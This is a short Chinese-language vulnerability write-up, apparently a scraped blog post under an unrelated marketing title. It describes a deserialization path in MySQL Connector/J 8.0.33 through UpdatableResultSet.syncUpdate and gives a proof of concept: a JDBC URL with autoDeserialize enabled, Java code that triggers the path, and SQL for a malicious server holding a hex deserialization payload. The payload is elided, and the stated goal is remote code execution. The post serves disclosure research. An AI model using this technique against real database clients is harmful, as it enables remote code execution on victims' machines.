网站建设与维护内容精准营销的概念
前言
经过与oracle官方沟通，在最新的mysql-connector-j 9.0.0里不存在这个问题，所以他们不认为这是个漏洞
不过确实，mysql-connector-java这个分支已经迁移到mysql-connector-j了，当时没注意，交的时候只注意了mysql-connector-java 8.0.33确实是latest version
描述
在mysql jdbc反序列化漏洞出来之后，patch了ServerStatusDiffInterceptor的逻辑，让他没有调用getObject
但是我发现，在UpdatableResultSet的syncUpdate方法还是会调用到getObject
当时就搜了一下updateResultset的demo，然后跑了一下，发现都能直接调用到syncUpdate,然后就通了
poc
String url="jdbc:mysql://ip:port/test?autoDeserialize=true";
String username="root";
String password="test ";
DriverManager.getConnection(url,username,password);
Statement stmt =
connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);
ResultSet rs = stmt.executeQuery("SELECT id,object FROM objects"); while (rs.next()) {rs.updateInt("object",1);}
rs.close(); stmt.close(); connection.close();
他这里的问题就是 不管你实际调用的updateInt还是updateString，他都会进入syncUpdate 然后getObject这个column，只要这个column我们填写恶意的反序列化数据，就可以反序列化
然后我们需要一个恶意的mysql服务器
CREATE TABLE `objects_table` ( `id` INT AUTO_INCREMENT,
`object` BLOB, PRIMARY KEY (`id`))
INSERT INTO `objects_table`(`object`) VALUES (UNHEX('ace.........16178'));
插入hex编码的反序列化payload，运行就可以rce